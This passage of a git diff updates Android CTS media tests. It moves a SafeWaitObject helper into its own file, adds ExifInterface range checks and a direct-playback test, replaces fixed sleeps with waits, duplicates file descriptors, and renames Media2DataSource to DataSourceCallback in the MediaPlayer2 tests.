-
-        public void safeNotify() {
-            synchronized (this) {
-                mQuit = true;
-                this.notify();
-            }
-        }
-
-        public void safeWait(long millis) throws InterruptedException {
-            final long timeOutTime = java.lang.System.currentTimeMillis() + millis;
-            synchronized (this) {
-                while (!mQuit) {
-                    final long timeToWait = timeOutTime - java.lang.System.currentTimeMillis();
-                    if (timeToWait < 0) { break; }
-                    this.wait(timeToWait);
-                }
-            }
-        }
-    }
-
     private static final class MyBlockingIntentReceiver extends BroadcastReceiver {
         private final SafeWaitObject mLock = new SafeWaitObject();
         // state protected by mLock
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index 84df6df..0a87f31 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -33,7 +33,9 @@
 public class AudioTrackOffloadTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioTrackOffloadTest";
 
-    private static final int MP3_BUFF_SIZE = 192 * 1024 * 5 / 8; // 5s for 192kbps MP3
+    private static final int MP3_BUFF_SIZE = 192 * 1024 * 3 / 8; // 3s for 192kbps MP3
+
+    private static final int PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
 
 
     public void testIsOffloadSupportedNullFormat() throws Exception {
@@ -107,13 +109,17 @@
             }
             try {
                 Thread.sleep(1 * 1000);
-                track.stop();
-                Thread.sleep(5 * 1000);
+                synchronized(mPresEndLock) {
+                    track.stop();
+                    mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS);
+                }
             } catch (InterruptedException e) { fail("Error while sleeping"); }
             synchronized (mEventCallbackLock) {
-                assertTrue("onDataRequest not called",mCallback.mDataRequestCount > 0);
-                // we are 6s after less than 5s of data was supplied, presentation should have
-                // ended
+                assertTrue("onDataRequest not called", mCallback.mDataRequestCount > 0);
+            }
+            synchronized (mPresEndLock) {
+                // we are at most PRESENTATION_END_TIMEOUT_MS + 1s after about 3s of data was
+                // supplied, presentation should have ended
                 assertEquals("onPresentationEnded not called one time",
                         1, mCallback.mPresentationEndedCount);
             }
@@ -136,13 +142,14 @@
     };
 
     private final Object mEventCallbackLock = new Object();
+    private final SafeWaitObject mPresEndLock = new SafeWaitObject();
 
     private EventCallback mCallback = new EventCallback();
 
     private class EventCallback extends AudioTrack.StreamEventCallback {
         @GuardedBy("mEventCallbackLock")
         int mTearDownCount;
-        @GuardedBy("mEventCallbackLock")
+        @GuardedBy("mPresEndLock")
         int mPresentationEndedCount;
         @GuardedBy("mEventCallbackLock")
         int mDataRequestCount;
@@ -157,9 +164,10 @@
 
         @Override
         public void onPresentationEnded(AudioTrack track) {
-            synchronized (mEventCallbackLock) {
+            synchronized (mPresEndLock) {
                 Log.i(TAG, "onPresentationEnded");
                 mPresentationEndedCount++;
+                mPresEndLock.safeNotify();
             }
         }
 
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index ab3ea0a..762bc44 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -2535,6 +2535,26 @@
         assertEquals(AudioTrack.ERROR, track.setPresentation(createAudioPresentation()));
     }
 
+    public void testIsDirectPlaybackSupported() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testIsDirectPlaybackSupported";
+        // Default format leaves everything unspecified
+        assertFalse(AudioTrack.isDirectPlaybackSupported(
+                        new AudioFormat.Builder().build(),
+                        new AudioAttributes.Builder().build()));
+        // There is no requirement to support direct playback for this format,
+        // so it's not possible to assert on the result, but at least the method
+        // must execute with no exceptions.
+        boolean isPcmStereo48kSupported = AudioTrack.isDirectPlaybackSupported(
+                new AudioFormat.Builder()
+                .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+                .setSampleRate(48000)
+                .build(),
+                new AudioAttributes.Builder().build());
+        log(TEST_NAME, "PCM Stereo 48 kHz: " + isPcmStereo48kSupported);
+    }
+
 /* Do not run in JB-MR1. will be re-opened in the next platform release.
     public void testResourceLeakage() throws Exception {
         final int BUFFER_SIZE = 600 * 1024;
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index f75a6fd..39bb458 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -39,6 +39,7 @@
 import java.io.InputStream;
 import java.io.IOException;
 import java.lang.reflect.Type;
+import java.util.Arrays;
 
 import libcore.io.IoUtils;
 import libcore.io.Streams;
@@ -99,10 +100,14 @@
         public final int thumbnailWidth;
         public final int thumbnailHeight;
         public final boolean isThumbnailCompressed;
+        public final int thumbnailOffset;
+        public final int thumbnailLength;
 
         // GPS information.
         public final boolean hasLatLong;
         public final float latitude;
+        public final int latitudeOffset;
+        public final int latitudeLength;
         public final float longitude;
         public final float altitude;
 
@@ -142,12 +147,16 @@
 
             // Reads thumbnail information.
             hasThumbnail = typedArray.getBoolean(index++, false);
+            thumbnailOffset = typedArray.getInt(index++, -1);
+            thumbnailLength = typedArray.getInt(index++, -1);
             thumbnailWidth = typedArray.getInt(index++, 0);
             thumbnailHeight = typedArray.getInt(index++, 0);
             isThumbnailCompressed = typedArray.getBoolean(index++, false);
 
             // Reads GPS information.
             hasLatLong = typedArray.getBoolean(index++, false);
+            latitudeOffset = typedArray.getInt(index++, -1);
+            latitudeLength = typedArray.getInt(index++, -1);
             latitude = typedArray.getFloat(index++, 0f);
             longitude = typedArray.getFloat(index++, 0f);
             altitude = typedArray.getFloat(index++, 0f);
@@ -251,6 +260,9 @@
         // Checks a thumbnail image.
         assertEquals(expectedValue.hasThumbnail, exifInterface.hasThumbnail());
         if (expectedValue.hasThumbnail) {
+            final long[] thumbnailRange = exifInterface.getThumbnailRange();
+            assertEquals(expectedValue.thumbnailOffset, thumbnailRange[0]);
+            assertEquals(expectedValue.thumbnailLength, thumbnailRange[1]);
             byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
             assertNotNull(thumbnailBytes);
             Bitmap thumbnailBitmap = exifInterface.getThumbnailBitmap();
@@ -267,8 +279,17 @@
         float[] latLong = new float[2];
         assertEquals(expectedValue.hasLatLong, exifInterface.getLatLong(latLong));
         if (expectedValue.hasLatLong) {
+            final long[] latitudeRange = exifInterface
+                    .getAttributeRange(ExifInterface.TAG_GPS_LATITUDE);
+            assertEquals(expectedValue.latitudeOffset, latitudeRange[0]);
+            assertEquals(expectedValue.latitudeLength, latitudeRange[1]);
             assertEquals(expectedValue.latitude, latLong[0], DIFFERENCE_TOLERANCE);
             assertEquals(expectedValue.longitude, latLong[1], DIFFERENCE_TOLERANCE);
+            assertTrue(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LATITUDE));
+            assertTrue(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LONGITUDE));
+        } else {
+            assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LATITUDE));
+            assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LONGITUDE));
         }
         assertEquals(expectedValue.altitude, exifInterface.getAltitude(.0), DIFFERENCE_TOLERANCE);
 
@@ -311,6 +332,10 @@
         assertNotNull(exifInterface);
         compareWithExpectedValue(exifInterface, expectedValue, verboseTag);
 
+        // Creates via file.
+        exifInterface = new ExifInterface(imageFile);
+        compareWithExpectedValue(exifInterface, expectedValue, verboseTag);
+
         InputStream in = null;
         // Creates via InputStream.
         try {
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
index b81cc8b..a4401221 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
@@ -30,7 +30,7 @@
 import android.media.FileDataSourceDesc;
 import android.media.UriDataSourceDesc;
 import android.media.MediaCodec;
-import android.media.Media2DataSource;
+import android.media.DataSourceCallback;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
@@ -52,6 +52,7 @@
 import android.os.PowerManager;
 import android.os.ServiceManager;
 import android.os.SystemClock;
+import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
@@ -142,8 +143,10 @@
         MediaPlayer2 mp2 = mPlayer2;
         AssetFileDescriptor afd2 = mResources.openRawResourceFd(R.raw.testmp3_2);
         mp2.setDataSource(new FileDataSourceDesc.Builder()
-                .setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength())
+                .setDataSource(ParcelFileDescriptor.dup(afd2.getFileDescriptor()),
+                    afd2.getStartOffset(), afd2.getLength())
                 .build());
+        afd2.close();
         Monitor onPrepareCalled = new Monitor();
         Monitor onErrorCalled = new Monitor();
         MediaPlayer2.EventCallback ecb = new MediaPlayer2.EventCallback() {
@@ -162,7 +165,6 @@
         mp2.registerEventCallback(mExecutor, ecb);
         mp2.prepare();
         onPrepareCalled.waitForSignal();
-        afd2.close();
         mp2.unregisterEventCallback(ecb);
 
         mp2.loopCurrent(true);
@@ -172,14 +174,14 @@
             try {
                 AssetFileDescriptor afd = mResources.openRawResourceFd(R.raw.bug13652927);
                 mp.setDataSource(new FileDataSourceDesc.Builder()
-                        .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(),
-                            afd.getLength())
+                        .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+                            afd.getStartOffset(), afd.getLength())
                         .build());
+                afd.close();
                 mp.registerEventCallback(mExecutor, ecb);
                 onPrepareCalled.reset();
                 mp.prepare();
                 onErrorCalled.waitForSignal();
-                afd.close();
             } catch (Exception e) {
                 // expected to fail
                 Log.i("@@@", "failed: " + e);
@@ -258,7 +260,11 @@
                     .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
                     .build();
             mp.setAudioAttributes(attributes);
-            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+            PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+            PowerManager.WakeLock wakeLock =
+                    pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+                            "MediaPlayer2Test");
+            mp.setWakeLock(wakeLock);
 
             assertFalse(mp.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
             onPlayCalled.reset();
@@ -354,7 +360,11 @@
                     .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
                     .build();
             mp.setAudioAttributes(attributes);
-            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+            PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+            PowerManager.WakeLock wakeLock =
+                    pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+                            "MediaPlayer2Test");
+            mp.setWakeLock(wakeLock);
 
             assertFalse(mp.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
             onPlayCalled.reset();
@@ -391,14 +401,15 @@
             mp.reset();
             AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
             mp.setDataSource(new FileDataSourceDesc.Builder()
-                    .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+                    .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+                        afd.getStartOffset(), afd.getLength())
                     .build());
+            afd.close();
 
             mp.registerEventCallback(mExecutor, ecb);
             onPrepareCalled.reset();
             mp.prepare();
             onPrepareCalled.waitForSignal();
-            afd.close();
 
             assertFalse(mp.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
             onPlayCalled.reset();
@@ -444,7 +455,12 @@
                         .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
                         .build();
                 mp.setAudioAttributes(attributes);
-                mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+                PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+                PowerManager.WakeLock wakeLock =
+                        pm.newWakeLock(
+                                PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+                                "MediaPlayer2Test");
+                mp.setWakeLock(wakeLock);
 
                 assertFalse(mp.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
                 onPlayCalled.reset();
@@ -483,7 +499,12 @@
                     .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
                     .build();
             mp.setAudioAttributes(attributes);
-            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+            PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+            PowerManager.WakeLock wakeLock =
+                    pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+                            "MediaPlayer2Test");
+            mp.setWakeLock(wakeLock);
+
             mp.loopCurrent(true);
             Monitor onCompletionCalled = new Monitor();
             Monitor onRepeatCalled = new Monitor();
@@ -573,7 +594,11 @@
                     .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
                     .build();
             mp.setAudioAttributes(attributes);
-            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+            PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+            PowerManager.WakeLock wakeLock =
+                    pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+                            "MediaPlayer2Test");
+            mp.setWakeLock(wakeLock);
 
             mp.play();
 
@@ -597,14 +622,15 @@
             mp.reset();
             AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
             mp.setDataSource(new FileDataSourceDesc.Builder()
-                    .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+                    .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+                        afd.getStartOffset(), afd.getLength())
                     .build());
+            afd.close();
 
             mp.registerEventCallback(mExecutor, ecb);
             onPrepareCalled.reset();
             mp.prepare();
             onPrepareCalled.waitForSignal();
-            afd.close();
 
             mp.play();
 
@@ -687,7 +713,11 @@
                     .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
                     .build();
             mp.setAudioAttributes(attributes);
-            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+            PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+            PowerManager.WakeLock wakeLock =
+                    pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+                            "MediaPlayer2Test");
+            mp.setWakeLock(wakeLock);
 
             OutputListener listener = new OutputListener(mp.getAudioSessionId());
 
@@ -933,14 +963,18 @@
 
         AssetFileDescriptor afd2 = mResources.openRawResourceFd(resid);
         DataSourceDesc dsd2 = new FileDataSourceDesc.Builder()
-                .setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength())
+                .setDataSource(ParcelFileDescriptor.dup(afd2.getFileDescriptor()),
+                        afd2.getStartOffset(), afd2.getLength())
                 .build();
+        afd2.close();
 
         resid = R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz;
         AssetFileDescriptor afd3 = mResources.openRawResourceFd(resid);
         DataSourceDesc dsd3 = new FileDataSourceDesc.Builder()
-                .setDataSource(afd3.getFileDescriptor(), afd3.getStartOffset(), afd3.getLength())
+                .setDataSource(ParcelFileDescriptor.dup(afd3.getFileDescriptor()),
+                        afd3.getStartOffset(), afd3.getLength())
                 .build();
+        afd3.close();
 
         ArrayList<DataSourceDesc> nextDSDs = new ArrayList<DataSourceDesc>(2);
         nextDSDs.add(dsd2);
@@ -1026,14 +1060,18 @@
 
         AssetFileDescriptor afd2 = mResources.openRawResourceFd(resid);
         DataSourceDesc dsd2 = new FileDataSourceDesc.Builder()
-                .setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength())
+                .setDataSource(ParcelFileDescriptor.dup(afd2.getFileDescriptor()),
+                        afd2.getStartOffset(), afd2.getLength())
                 .build();
+        afd2.close();
 
         resid = R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz;
         AssetFileDescriptor afd3 = mResources.openRawResourceFd(resid);
         DataSourceDesc dsd3 = new FileDataSourceDesc.Builder()
-                .setDataSource(afd3.getFileDescriptor(), afd3.getStartOffset(), afd3.getLength())
+                .setDataSource(ParcelFileDescriptor.dup(afd3.getFileDescriptor()),
+                        afd3.getStartOffset(), afd3.getLength())
                 .build();
+        afd3.close();
 
         ArrayList<DataSourceDesc> nextDSDs = new ArrayList<DataSourceDesc>(2);
         nextDSDs.add(dsd2);
@@ -1129,8 +1167,10 @@
 
         AssetFileDescriptor afd2 = mResources.openRawResourceFd(resid);
         DataSourceDesc dsd2 = new FileDataSourceDesc.Builder()
-                .setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength())
+                .setDataSource(ParcelFileDescriptor.dup(afd2.getFileDescriptor()),
+                        afd2.getStartOffset(), afd2.getLength())
                 .build();
+        afd2.close();
 
         mPlayer.setNextDataSource(dsd2);
 
@@ -1788,7 +1828,11 @@
 
         mPlayer.setDisplay(getActivity().getSurfaceHolder());
         mPlayer.setScreenOnWhilePlaying(true);
-        mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+        PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+        PowerManager.WakeLock wakeLock =
+                pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+                        "MediaPlayer2Test");
+        mPlayer.setWakeLock(wakeLock);
 
         mOnPrepareCalled.reset();
         mPlayer.prepare();
@@ -1864,7 +1908,11 @@
 
         mPlayer.setDisplay(getActivity().getSurfaceHolder());
         mPlayer.setScreenOnWhilePlaying(true);
-        mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+        PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+        PowerManager.WakeLock wakeLock =
+                pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+                        "MediaPlayer2Test");
+        mPlayer.setWakeLock(wakeLock);
 
         mOnPrepareCalled.reset();
         mPlayer.prepare();
@@ -1925,7 +1973,11 @@
 
         mPlayer.setDisplay(getActivity().getSurfaceHolder());
         mPlayer.setScreenOnWhilePlaying(true);
-        mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+        PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+        PowerManager.WakeLock wakeLock =
+                pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+                        "MediaPlayer2Test");
+        mPlayer.setWakeLock(wakeLock);
 
         mOnPrepareCalled.reset();
         mPlayer.prepare();
@@ -2217,8 +2269,8 @@
                 PackageManager.FEATURE_MICROPHONE);
     }
 
-    // Smoke test playback from a Media2DataSource.
-    public void testPlaybackFromAMedia2DataSource() throws Exception {
+    // Smoke test playback from a DataSourceCallback.
+    public void testPlaybackFromADataSourceCallback() throws Exception {
         final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
         final int duration = 10000;
 
@@ -2226,8 +2278,8 @@
             return;
         }
 
-        TestMedia2DataSource dataSource =
-                TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+        TestDataSourceCallback dataSource =
+                TestDataSourceCallback.fromAssetFd(mResources.openRawResourceFd(resid));
         // Test returning -1 from getSize() to indicate unknown size.
         dataSource.returnFromGetSize(-1);
         mPlayer.setDataSource(new CallbackDataSourceDesc.Builder()
@@ -2288,7 +2340,7 @@
         }
     }
 
-    public void testNullMedia2DataSourceIsRejected() throws Exception {
+    public void testNullDataSourceCallbackIsRejected() throws Exception {
         MediaPlayer2.EventCallback ecb = new MediaPlayer2.EventCallback() {
             @Override
             public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
@@ -2306,7 +2358,7 @@
         assertTrue(mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR);
     }
 
-    public void testMedia2DataSourceIsClosedOnReset() throws Exception {
+    public void testDataSourceCallbackIsClosedOnReset() throws Exception {
         MediaPlayer2.EventCallback ecb = new MediaPlayer2.EventCallback() {
             @Override
             public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
@@ -2318,7 +2370,7 @@
         };
         mPlayer.registerEventCallback(mExecutor, ecb);
 
-        TestMedia2DataSource dataSource = new TestMedia2DataSource(new byte[0]);
+        TestDataSourceCallback dataSource = new TestDataSourceCallback(new byte[0]);
         mPlayer.setDataSource(new CallbackDataSourceDesc.Builder()
                 .setDataSource(dataSource)
                 .build());
@@ -2327,15 +2379,15 @@
         assertTrue(dataSource.isClosed());
     }
 
-    public void testPlaybackFailsIfMedia2DataSourceThrows() throws Exception {
+    public void testPlaybackFailsIfDataSourceCallbackThrows() throws Exception {
         final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
         if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
             return;
         }
 
         setOnErrorListener();
-        TestMedia2DataSource dataSource =
-                TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+        TestDataSourceCallback dataSource =
+                TestDataSourceCallback.fromAssetFd(mResources.openRawResourceFd(resid));
         mPlayer.setDataSource(new CallbackDataSourceDesc.Builder()
                 .setDataSource(dataSource)
                 .build());
@@ -2361,14 +2413,14 @@
         assertTrue(mOnErrorCalled.waitForSignal());
     }
 
-    public void testPlaybackFailsIfMedia2DataSourceReturnsAnError() throws Exception {
+    public void testPlaybackFailsIfDataSourceCallbackReturnsAnError() throws Exception {
         final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
         if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
             return;
         }
 
-        TestMedia2DataSource dataSource =
-                TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+        TestDataSourceCallback dataSource =
+                TestDataSourceCallback.fromAssetFd(mResources.openRawResourceFd(resid));
         mPlayer.setDataSource(new CallbackDataSourceDesc.Builder()
                 .setDataSource(dataSource)
                 .build());
@@ -2457,10 +2509,10 @@
 
     public void testConsecutiveSeeks() throws Exception {
         final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
-        final TestMedia2DataSource source =
-                TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+        final TestDataSourceCallback source =
+                TestDataSourceCallback.fromAssetFd(mResources.openRawResourceFd(resid));
         final Monitor readAllowed = new Monitor();
-        Media2DataSource dataSource = new Media2DataSource() {
+        DataSourceCallback dataSource = new DataSourceCallback() {
             @Override
             public int readAt(long position, byte[] buffer, int offset, int size)
                     throws IOException {
@@ -2575,10 +2627,12 @@
         AssetFileDescriptor afd = mResources.openRawResourceFd(
                 R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz);
         mPlayer.setDataSource(new FileDataSourceDesc.Builder()
-                .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+                .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+                    afd.getStartOffset(), afd.getLength())
                 .setStartPosition(startPosMs)
                 .setEndPosition(endPosMs)
                 .build());
+        afd.close();
         mPlayer.setDisplay(mActivity.getSurfaceHolder());
         mPlayer.setScreenOnWhilePlaying(true);
 
@@ -2654,9 +2708,9 @@
 
         final Monitor readRequested = new Monitor();
         final Monitor readAllowed = new Monitor();
-        Media2DataSource dataSource = new Media2DataSource() {
-            TestMedia2DataSource mTestSource =
-                TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+        DataSourceCallback dataSource = new DataSourceCallback() {
+            TestDataSourceCallback mTestSource =
+                TestDataSourceCallback.fromAssetFd(mResources.openRawResourceFd(resid));
             @Override
             public int readAt(long position, byte[] buffer, int offset, int size)
                     throws IOException {
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java
index 16a40ee..6f88364 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java
@@ -32,6 +32,7 @@
 import android.media.VideoSize;
 import android.media.cts.TestUtils.Monitor;
 import android.net.Uri;
+import android.os.ParcelFileDescriptor;
 import android.os.PersistableBundle;
 import android.test.ActivityInstrumentationTestCase2;
 import android.view.SurfaceHolder;
@@ -164,8 +165,10 @@
             mp.setAudioSessionId(audioSessionId);
 
             mp.setDataSource(new FileDataSourceDesc.Builder()
-                    .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+                    .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+                        afd.getStartOffset(), afd.getLength())
                     .build());
+            afd.close();
 
             Monitor onPrepareCalled = new Monitor();
             ExecutorService executor = Executors.newFixedThreadPool(1);
@@ -182,7 +185,6 @@
             mp.prepare();
             onPrepareCalled.waitForSignal();
             mp.unregisterEventCallback(ecb);
-            afd.close();
             executor.shutdown();
             return mp;
         } catch (IOException ex) {
@@ -341,11 +343,11 @@
         AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
         try {
             mPlayer.setDataSource(new FileDataSourceDesc.Builder()
-                    .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+                    .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+                        afd.getStartOffset(), afd.getLength())
                     .build());
+            afd.close();
         } finally {
-            // TODO: close afd only after setDataSource is confirmed.
-            // afd.close();
         }
         return true;
     }
@@ -356,9 +358,12 @@
         }
 
         AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
-        return new FileDataSourceDesc.Builder()
-                .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+        FileDataSourceDesc fdsd = new FileDataSourceDesc.Builder()
+                .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+                        afd.getStartOffset(), afd.getLength())
                 .build();
+        afd.close();
+        return fdsd;
     }
 
     protected boolean checkLoadResource(int resid) throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index 9741166..75e0d5b 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -39,6 +39,7 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.os.SystemClock;
+import android.os.ParcelFileDescriptor;
 import android.os.PowerManager;
 
 import android.platform.test.annotations.AppModeFull;
@@ -748,8 +749,10 @@
         MediaPlayer2 mediaPlayer2 = new MediaPlayer2(mContext);
         mediaPlayer2.setAudioAttributes(new AudioAttributes.Builder().build());
         mediaPlayer2.setDataSource(new FileDataSourceDesc.Builder()
-                .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+                .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+                    afd.getStartOffset(), afd.getLength())
                 .build());
+        afd.close();
 
         Monitor onPrepareCalled = new Monitor();
         Monitor onPlayCalled = new Monitor();
@@ -782,7 +785,11 @@
         onPrepareCalled.reset();
         mediaPlayer2.prepare();
         onPrepareCalled.waitForSignal();
-        mediaPlayer2.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+        PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+        PowerManager.WakeLock wakeLock =
+                pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+                        "RoutingTest");
+        mediaPlayer2.setWakeLock(wakeLock);
 
         assertFalse(mediaPlayer2.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
         onPlayCalled.reset();
@@ -791,7 +798,6 @@
         assertTrue(mediaPlayer2.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
 
         mediaPlayer2.unregisterEventCallback(ecb);
-        afd.close();
         executor.shutdown();
 
         return mediaPlayer2;
diff --git a/tests/tests/media/src/android/media/cts/SafeWaitObject.java b/tests/tests/media/src/android/media/cts/SafeWaitObject.java
new file mode 100644
index 0000000..2346c0d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/SafeWaitObject.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+/**
+ * Helper class to simplify the handling of spurious wakeups in Object.wait()
+ */
+final class SafeWaitObject {
+    private boolean mQuit = false;
+
+    public void safeNotify() {
+        synchronized (this) {
+            mQuit = true;
+            this.notify();
+        }
+    }
+
+    public void safeWait(long millis) throws InterruptedException {
